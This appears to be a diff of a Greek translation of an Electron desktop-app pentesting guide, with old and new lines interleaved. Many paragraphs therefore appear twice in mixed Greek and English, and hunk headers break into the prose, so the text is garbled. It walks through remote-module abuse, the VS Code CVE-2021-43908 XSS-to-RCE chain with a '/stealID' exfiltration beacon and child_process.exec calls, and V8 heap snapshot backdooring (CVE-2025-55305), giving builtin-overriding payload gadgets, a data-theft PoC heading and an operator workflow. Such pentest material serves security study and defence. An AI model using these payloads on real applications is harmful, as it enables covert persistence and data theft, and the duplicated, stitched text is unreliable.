> Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που **require NodeIntegration to be enabled** στη renderer process, κάτι που αποτελεί **τεράστιο κίνδυνο ασφάλειας**.
Από το Electron 14, το `remote` module μπορεί να είναι ενεργοποιημένο με διάφορους τρόπους· λόγω θεμάτων ασφάλειας και απόδοσης, είναι **συνιστώμενο να μην το χρησιμοποιείτε**.
Από το Electron 14, το `remote` module του Electron μπορεί να ενεργοποιείται με διάφορους τρόπους, αλλά για λόγους ασφάλειας και απόδοσης **συνιστάται να μην το χρησιμοποιείτε**.
Για να το ενεργοποιήσετε, πρώτα χρειάζεται να **ενεργοποιηθεί στο main process**:
Για να το ενεργοποιήσετε, πρώτα πρέπει να **το ενεργοποιήσετε στη main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Στη συνέχεια, η renderer process μπορεί να import αντικείμενα από το module ως εξής:
Τότε, η renderer process μπορεί να import objects από το module που προτιμά:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
Το **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** αναφέρει μερικές ενδιαφέρουσες **λειτουργίες** που εκτίθενται από το αντικείμενο **`app`** του απομακρυσμένου module:
Το **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** αναφέρει μερικές ενδιαφέρουσες **συναρτήσεις** που εκτίθενται από το αντικείμενο **`app`** του remote module:
- **`app.relaunch([options])`**
- **Επανεκκινεί** την εφαρμογή **τερματίζοντας** την τρέχουσα διεργασία και **εκκινώντας** μία νέα. Χρήσιμο για **ενημερώσεις εφαρμογής** ή σημαντικές **αλλαγές κατάστασης**.
- **Επανακινεί** την εφαρμογή τερματίζοντας την τρέχουσα διεργασία και **εκκινώντας** μια νέα. Χρήσιμο για **ενημερώσεις της app** ή σημαντικές **αλλαγές κατάστασης**.
- **`app.setAppLogsPath([path])`**
- **Ορίζει** ή **δημιουργεί** έναν φάκελο για την αποθήκευση των **αρχείων καταγραφής της εφαρμογής**. Τα αρχεία καταγραφής μπορούν να **ανακτηθούν** ή να **τροποποιηθούν** χρησιμοποιώντας **`app.getPath()`** ή **`app.setPath(pathName, newPath)`**.
- **Ορίζει** ή **δημιουργεί** έναν κατάλογο για την αποθήκευση των **αρχείων καταγραφής της app**. Τα logs μπορούν να **ανακτηθούν** ή να **τροποποιηθούν** χρησιμοποιώντας **`app.getPath()`** ή **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Καταχωρεί** το τρέχον εκτελέσιμο ως τον **προεπιλεγμένο χειριστή** για ένα συγκεκριμένο **πρωτόκολλο**. Μπορείτε να παρέχετε μια **προσαρμοσμένη διαδρομή** και **παραμέτρους** αν χρειάζεται.
- **Καταχωρεί** το τρέχον εκτελέσιμο ως τον **προεπιλεγμένο χειριστή** για ένα συγκεκριμένο **πρωτόκολλο**. Μπορείτε να παρέχετε μια **προσαρμοσμένη διαδρομή** και **παραμέτρους** αν χρειαστεί.
- **`app.setUserTasks(tasks)`**
- **Προσθέτει** εργασίες στην **Tasks category** στο **Jump List** (στα Windows). Κάθε εργασία μπορεί να ελέγχει πώς η εφαρμογή **εκκινείται** ή ποιες **παραμέτρους** περνιούνται.
- **Προσθέτει** εργασίες στην **κατηγορία Tasks** στο **Jump List** (στα Windows). Κάθε εργασία μπορεί να καθορίσει πώς εκκινείται η app ή ποιες **παραμέτρους** δίνονται.
- **`app.importCertificate(options, callback)`**
- **Εισάγει** ένα **PKCS#12 certificate** στην **αποθήκη πιστοποιητικών** του συστήματος (μόνο Linux). Ένας **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
- **Εισάγει** ένα **PKCS#12 certificate** στο **certificate store** του συστήματος (Linux μόνο). Ένας **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
- **`app.moveToApplicationsFolder([options])`**
- **Μετακινεί** την εφαρμογή στον **Applications folder** (σε macOS). Βοηθά να εξασφαλιστεί μια **τυπική εγκατάσταση** για χρήστες Mac.
- **Μετακινεί** την εφαρμογή στον φάκελο **Applications** (στο macOS). Βοηθά να εξασφαλιστεί μια **τυπική εγκατάσταση** για χρήστες Mac.
- **`app.setJumpList(categories)`**
- **Ορίζει** ή **αφαιρεί** μια **custom Jump List** στα **Windows**. Μπορείτε να καθορίσετε **κατηγορίες** για να οργανώσετε πώς εμφανίζονται οι εργασίες στον χρήστη.
- **Ορίζει** ή **αφαιρεί** ένα **προσαρμοσμένο Jump List** στα **Windows**. Μπορείτε να καθορίσετε **κατηγορίες** για να οργανώσετε πώς εμφανίζονται οι εργασίες στον χρήστη.
- **`app.setLoginItemSettings(settings)`**
- **Ρυθμίζει** ποια **εκτελέσιμα** εκκινούν κατά την **είσοδο** μαζί με τις **επιλογές** τους (μόνο macOS και Windows).
- **Ρυθμίζει** ποια **εκτελέσιμα** ξεκινούν κατά το **login** μαζί με τις **επιλογές** τους (macOS και Windows μόνο).
Παράδειγμα:
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences module
## systemPreferences μονάδα
Η **κύρια API** για την πρόσβαση στις προτιμήσεις συστήματος και την **εκπομπή συμβάντων συστήματος** στο Electron. Μέθοδοι όπως **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, και **setUserDefault** είναι όλες **μέρος αυτού** του module.
Το **κύριο API** για την πρόσβαση στις προτιμήσεις συστήματος και την **εκπομπή συμβάντων συστήματος** στο Electron. Μέθοδοι όπως **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** και **setUserDefault** αποτελούν **μέρος** αυτής της μονάδας.
**Παράδειγμα χρήσης:**
```javascript
@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Παρακολουθεί** για **native macOS notifications** χρησιμοποιώντας NSDistributedNotificationCenter.
* Πριν από το **macOS Catalina**, μπορούσατε να sniff **όλες** τις διανεμημένες ειδοποιήσεις περνώντας **nil** στο CFNotificationCenterAddObserver.
* Μετά το **Catalina / Big Sur**, οι sandboxed apps μπορούν ακόμα να **subscribe** σε **many events** (για παράδειγμα, **screen locks/unlocks**, **volume mounts**, **network activity**, κ.λπ.) εγγράφοντας ειδοποιήσεις **by name**.
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
### **getUserDefault / setUserDefault**
* **Interacts** με **NSUserDefaults**, που αποθηκεύει **application** ή **global** προτιμήσεις στο macOS.
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
* **getUserDefault** μπορεί να **retrieve** ευαίσθητες πληροφορίες, όπως **recent file locations** ή **users geographic location**.
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **users geographic location**.
* **setUserDefault** μπορεί να **modify** αυτές τις προτιμήσεις, επηρεάζοντας ενδεχομένως την **configuration** μιας εφαρμογής.
* **setUserDefault** can **modify** these preferences, potentially affecting an apps **configuration**.
* Σε **παλαιότερες εκδόσεις του Electron** (πριν το v8.3.0), μόνο το **standard suite** του NSUserDefaults ήταν **accessible**.
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
## Shell.showItemInFolder
Αυτή η συνάρτηση δείχνει το δοθέν αρχείο σε έναν file manager, ο οποίος **could automatically execute the file**.
Αυτή η συνάρτηση εμφανίζει το δεδομένο αρχείο σε έναν file manager, ο οποίος θα μπορούσε να εκτελέσει αυτόματα το αρχείο.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Content Security Policy (CSP)** για να **prevent XSS attacks**. Η **CSP** είναι ένα **security standard** που βοηθά στο να **prevent** την **execution** του **untrusted code** στον browser.
Οι εφαρμογές Electron θα πρέπει να έχουν μια Content Security Policy (CSP) για να αποτρέπουν XSS attacks. Το CSP είναι ένα πρότυπο ασφαλείας που βοηθά στην αποτροπή της εκτέλεσης μη αξιόπιστου code στον browser.
Συνήθως **configured** στο αρχείο **`main.js`** ή στο πρότυπο **`index.html`** με την CSP μέσα σε ένα **meta tag**.
Συνήθως διαμορφώνεται στο `main.js` αρχείο ή στο `index.html` template με το CSP μέσα σε ένα meta tag.
For more information check:
@ -403,14 +403,14 @@ pentesting-web/content-security-policy-csp-bypass/
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Αυτή η πραγματική αλυσίδα επηρέασε το Visual Studio Code 1.63 (CVE-2021-43908) και δείχνει πώς ένα single markdown-driven XSS σε ένα webview μπορεί να κλιμακωθεί σε πλήρες RCE όταν το CSP, το postMessage και οι scheme handlers είναι misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Αυτή η πραγματική αλυσίδα επηρέασε το Visual Studio Code 1.63 (CVE-2021-43908) και δείχνει πώς ένα μοναδικό markdown-driven XSS σε μια webview μπορεί να κλιμακωθεί σε πλήρες RCE όταν το CSP, το postMessage, και οι scheme handlers είναι λάθος διαμορφωμένα. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Επισκόπηση αλυσίδας επίθεσης
- Πρώτο XSS μέσω webview CSP: Το παραγόμενο CSP περιείχε `style-src 'self' 'unsafe-inline'`, επιτρέποντας inline/style-based injection σε ένα `vscode-webview://` context. Το payload beaconed στο `/stealID` για να exfiltrate το target webviews extensionId.
- Κατασκευή του URL του target webview: Χρησιμοποιώντας το leaked ID για να χτίσουν `vscode-webview://<extensionId>/.../<publicUrl>`.
- Δεύτερο XSS μέσω εμπιστοσύνης στο postMessage: Το εξωτερικό webview trusted `window.postMessage` χωρίς αυστηρούς ελέγχους origin/type και φόρτωσε attacker HTML με `allowScripts: true`.
- Τοπικό φόρτωμα αρχείων μέσω rewriting scheme/path: Το payload επαναέγραψε `file:///...` σε `vscode-file://vscode-app/...` και αντάλλαξε `exploit.md` με `RCE.html`, εκμεταλλευόμενο αδύνατο έλεγχο διαδρομών για να φορτώσει ένα privileged local resource.
- RCE σε Node-enabled context: Το φορτωμένο HTML εκτελέστηκε με διαθέσιμες Node APIs, παρέχοντας εκτέλεση εντολών OS.
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
```js
@ -418,7 +418,7 @@ Example RCE primitive in the final context
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Related reading on postMessage trust issues:
Σχετική ανάγνωση για ζητήματα εμπιστοσύνης του postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
@ -426,14 +426,14 @@ Related reading on postMessage trust issues:
## **Εργαλεία**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για τον εντοπισμό misconfigurations και security anti-patterns σε εφαρμογές που βασίζονται σε Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα open source VS Code plugin για εφαρμογές Electron που χρησιμοποιεί το Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για τον έλεγχο ευάλωτων third-party βιβλιοθηκών
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για την ανίχνευση λανθασμένων ρυθμίσεων και αντιπροτύπων ασφαλείας σε εφαρμογές βασισμένες σε Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα ανοιχτού κώδικα plugin για VS Code για εφαρμογές Electron που χρησιμοποιεί το Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για τον έλεγχο ευπαθών τρίτων βιβλιοθηκών
- [**Electro.ng**](https://electro.ng/): Πρέπει να το αγοράσετε
## Εργαστήρια
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) μπορείτε να βρείτε ένα lab για να εκμεταλλευτείτε ευάλωτες εφαρμογές Electron.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) μπορείτε να βρείτε ένα lab για να exploit vulnerable Electron apps.
Κάποιες εντολές που θα σας βοηθήσουν με το εργαστήριο:
```bash
@ -458,18 +458,18 @@ cd vulnerable1
npm install
npm start
```
## Τοπικό backdooring μέσω V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
## Τοπικό backdooring μέσω παραποίησης V8 heap snapshot (Electron/Chromium) CVE-2025-55305
Οι εφαρμογές βασισμένες σε Electron και Chromium απο-σειριοποιούν ένα προκατασκευασμένο V8 heap snapshot κατά την εκκίνηση (v8_context_snapshot.bin, και προαιρετικά browser_v8_context_snapshot.bin) για να αρχικοποιήσουν κάθε V8 isolate (main, preload, renderer). Ιστορικά, τα integrity fuses του Electron δεν αντιμετώπιζαν αυτά τα snapshots ως εκτελέσιμο περιεχόμενο, οπότε διέφευγαν τόσο την επιβολή ακεραιότητας με fuse όσο και τους ελέγχους code-signing του OS. Ως αποτέλεσμα, η αντικατάσταση του snapshot σε μία εγκατάσταση εγγράψιμη από τον χρήστη παρείχε κρυφή, επίμονη εκτέλεση κώδικα μέσα στην εφαρμογή χωρίς να τροποποιηθούν τα υπογεγραμμένα binaries ή το ASAR.
Οι εφαρμογές βασισμένες σε Electron και Chromium απο-σειριοποιούν ένα προ-κατασκευασμένο V8 heap snapshot κατά την εκκίνηση (v8_context_snapshot.bin, και προαιρετικά browser_v8_context_snapshot.bin) για να αρχικοποιήσουν κάθε V8 isolate (main, preload, renderer). Ιστορικά, οι Electrons integrity fuses δεν θεωρούσαν αυτά τα snapshots ως εκτελέσιμα περιεχόμενα, οπότε απέφευγαν τόσο την επιβολή ακεραιότητας βάσει fuses όσο και τους ελέγχους code-signing του λειτουργικού. Ως αποτέλεσμα, η αντικατάσταση του snapshot σε εγκατάσταση όπου ο χρήστης έχει δικαίωμα εγγραφής παρείχε κρυφή, επίμονη εκτέλεση κώδικα μέσα στην εφαρμογή χωρίς να τροποποιηθούν τα υπογεγραμμένα binaries ή το ASAR.
Key points
- Integrity gap: Τα EnableEmbeddedAsarIntegrityValidation και OnlyLoadAppFromAsar επικυρώνουν το app JavaScript μέσα στο ASAR, αλλά δεν κάλυπταν τα V8 heap snapshots (CVE-2025-55305). Το Chromium παρόμοια δεν ελέγχει την ακεραιότητα των snapshots.
- Attack preconditions: Τοπική εγγραφή αρχείων στον κατάλογο εγκατάστασης της εφαρμογής. Αυτό είναι συνηθισμένο σε συστήματα όπου οι Electron apps ή οι Chromium browsers είναι εγκαταστημένοι σε διαδρομές εγγράψιμες από τον χρήστη (π.χ., %AppData%\Local στα Windows; /Applications με επιφυλάξεις σε macOS).
- Effect: Αξιόπιστη εκτέλεση κακόβουλου JavaScript σε οποιοδήποτε isolate με την υπεργραφή ενός συχνά χρησιμοποιούμενου builtin (ένα “gadget”), επιτρέποντας persistence και αποφυγή των ελέγχων code-signing.
- Affected surface: Electron apps (ακόμη και με fuses enabled) και Chromium-based browsers που φορτώνουν snapshots από διαδρομές εγγράψιμες από τον χρήστη.
- Integrity gap: EnableEmbeddedAsarIntegrityValidation και OnlyLoadAppFromAsar επικυρώνουν το app JavaScript μέσα στο ASAR, αλλά δεν κάλυπταν τα V8 heap snapshots (CVE-2025-55305). Ο Chromium παρόμοια δεν ελέγχει την ακεραιότητα των snapshots.
- Attack preconditions: Τοπική εγγραφή αρχείου στον κατάλογο εγκατάστασης της εφαρμογής. Αυτό είναι συνηθισμένο σε συστήματα όπου εφαρμογές Electron ή browsers Chromium είναι εγκατεστημένοι σε μονοπάτια όπου ο χρήστης έχει δικαίωμα εγγραφής (π.χ. %AppData%\Local στα Windows; /Applications με επιφυλάξεις στο macOS).
- Effect: Αξιόπιστη εκτέλεση attacker JavaScript σε οποιοδήποτε isolate με την υπεργραφή ενός συχνά χρησιμοποιούμενου builtin (ένα “gadget”), επιτρέποντας επίμονη παρουσία και αποφυγή των ελέγχων code-signing.
- Affected surface: Electron apps (ακόμη και με ενεργοποιημένα τα fuses) και Chromium-based browsers που φορτώνουν snapshots από τοποθεσίες όπου ο χρήστης έχει δικαίωμα εγγραφής.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
- Χρησιμοποιήστε το προbuilt electron/mksnapshot για να compile-άρετε ένα payload JS σε snapshot και να αντικαταστήσετε το v8_context_snapshot.bin της εφαρμογής.
Example minimal payload (prove execution by forcing a crash)
```js
@ -485,11 +485,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (εκτέλεση διαφορετικού κώδικα στο main έναντι του renderer)
- Main process detection: Τα Node-only globals όπως process.pid, process.binding(), ή process.dlopen είναι παρόντα στο main process isolate.
- Browser/renderer detection: Τα Browser-only globals όπως alert είναι διαθέσιμα όταν εκτελούνται σε περιβάλλον εγγράφου.
Isolate-aware payload routing (run different code in main vs. renderer)
- Main process detection: Node-only global μεταβλητές όπως process.pid, process.binding(), ή process.dlopen υπάρχουν στο main process isolate.
- Browser/renderer detection: Browser-only globals όπως alert είναι διαθέσιμα όταν εκτελούνται σε document context.
Παράδειγμα gadget που ελέγχει τις δυνατότητες του main-process Node μία φορά
Example gadget that probes main-process Node capabilities once
```js
const orig = Array.isArray;
@ -518,7 +518,7 @@ process.exit(0);
return orig(...arguments);
};
```
PoC κλοπής δεδομένων σε Renderer/browser-context (π.χ. Slack)
Renderer/browser-context κλοπή δεδομένων PoC (π.χ., Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -551,22 +551,18 @@ Operator workflow
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Launch the application; the gadget executes whenever the chosen builtin is used.
Notes and considerations
- Integrity/signature bypass: Τα αρχεία snapshot δεν αντιμετωπίζονται ως εγγενή εκτελέσιμα αρχεία από τους ελέγχους code-signing και (ιστορικά) δεν καλύπτονταν από τα Electrons fuses ή τους μηχανισμούς ακεραιότητας του Chromium.
- Persistence: Η αντικατάσταση του snapshot σε μια εγκατάσταση όπου ο χρήστης έχει δικαιώματα εγγραφής συνήθως επιβιώνει από επανεκκινήσεις της εφαρμογής και μοιάζει σαν μια υπογεγραμμένη, νόμιμη εφαρμογή.
- Chromium browsers: Το ίδιο concept παραποίησης εφαρμόζεται σε Chrome/derivatives εγκατεστημένα σε τοποθεσίες όπου ο χρήστης έχει δικαιώματα εγγραφής. Το Chrome διαθέτει άλλες μετριάσεις ακεραιότητας αλλά ρητά εξαιρεί φυσικά τοπικές επιθέσεις από το threat model του.
Σημειώσεις και παρατηρήσεις
- Integrity/signature bypass: Τα αρχεία snapshot δεν αντιμετωπίζονται ως native executables από τους ελέγχους code-signing και (ιστορικά) δεν καλύπτονταν από τα Electrons fuses ή τους μηχανισμούς ακεραιότητας του Chromium.
- Persistence: Η αντικατάσταση του snapshot σε μια εγκατάσταση εγγράψιμη από τον χρήστη συνήθως επιβιώνει μετά την επανεκκίνηση της εφαρμογής και φαίνεται σαν μια υπογεγραμμένη, νόμιμη εφαρμογή.
- Chromium browsers: Το ίδιο σκεπτικό χειραγώγησης εφαρμόζεται στο Chrome/derivatives εγκατεστημένα σε τοποθεσίες εγγράψιμες από τον χρήστη. Το Chrome διαθέτει άλλες μετριαστικές λύσεις ακεραιότητας αλλά ρητά εξαιρεί τις φυσικά τοπικές επιθέσεις από το threat model του.
Detection and mitigations
Ανίχνευση και μετριασμοί
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
## **Αναφορές**
## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)